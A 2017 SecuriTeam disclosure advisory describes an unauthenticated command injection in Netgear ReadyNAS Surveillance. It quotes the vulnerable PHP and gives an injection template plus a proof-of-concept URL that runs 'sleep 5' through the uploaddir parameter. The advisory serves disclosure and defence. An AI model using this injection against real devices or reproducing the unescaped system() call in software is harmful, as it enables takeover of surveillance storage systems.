SSD Advisory – Netgear ReadyNAS Surveillance Unauthenticated Remote Command Execution

blogs.securiteam.com/index.php/archives/3409

SSD / Maor Schwartz September 27, 2017

Vulnerability summary
The following advisory describes an Unauthenticated Remote Command Execution vulnerability found in Netgear ReadyNAS Surveillance.

Netgear ReadyNAS Surveillance – Small businesses and corporate branch offices require a secure way to protect physical assets, but often lack the security expertise or big budget that most solutions require. With these challenges in mind, NETGEAR introduces ReadyNAS Surveillance, easy-to-use network video recording (NVR) software that installs directly to a ReadyNAS storage device. Add a set of cameras to a Power over Ethernet ProSafe switch and your surveillance network is up and running in no time.

Credit
An independent security researcher, Kacper Szurek, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response
Netgear was informed of the vulnerability on June 27, but while acknowledging the receipt of the vulnerability information, refused to respond to the technical claims, to give a fix timeline or coordinate an advisory.

Vulnerability details
User controlled input is not sufficiently sanitized when passed to *upgrade_handle.php*.

PHP

```
else if( 0 == strcmp($_GET['cmd'],'writeuploaddir') )
{
if(constant("NEED_UPLOAD_FROM_DISK"))
{
  if (isset($_GET['uploaddir']))
  {
   $uploaddir = $_GET['uploaddir'];
   $fp = fopen(UPLOAD_CONF_PATH, 'w');
   $strData = "server.upload-dirs=(\"" . $uploaddir . "\")\n";

   fwrite($fp, $strData);
   fclose($fp);

   $current_dir = system('cat '.PHP_CINF_PATH.'| grep \'upload_tmp_dir\'');
   $tmp_upload_dir = 'upload_tmp_dir='.$uploaddir;
   $cmd = "sed -i 's/".str_replace('/', '\/', $current_dir)."/".str_replace('/', '\/', $tmp_upload_dir)."/g'
".PHP_CINF_PATH;

   system($cmd);
   //system("echo \"$uploaddir\" > ".UPGRADE_DIR_PATH);
   $file = fopen(UPGRADE_DIR_PATH,"w");
   if( $file )
   {
    fwrite($file,"[UPLOAD]\n");
    fwrite($file,"upload_dir=\"". $uploaddir ."\"\n");
    fclose($file);
   }
  }
}

header("Content-type: application/xml\r\n\r\n");
echo "Modify upload directory ok";
}
```

As we can see, *$_GET['uploaddir']* is not escaped and passed to *system()* through *$tmp_upload_dir*

By sending the following parameters

```
'?cmd=writeuploaddir&amp;uploaddir=%27;COMMAND_TO_EXECUTE;%27'
```

The input will be execute.

Proof of Concept

```
http://IP/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;sleep%205;%27
```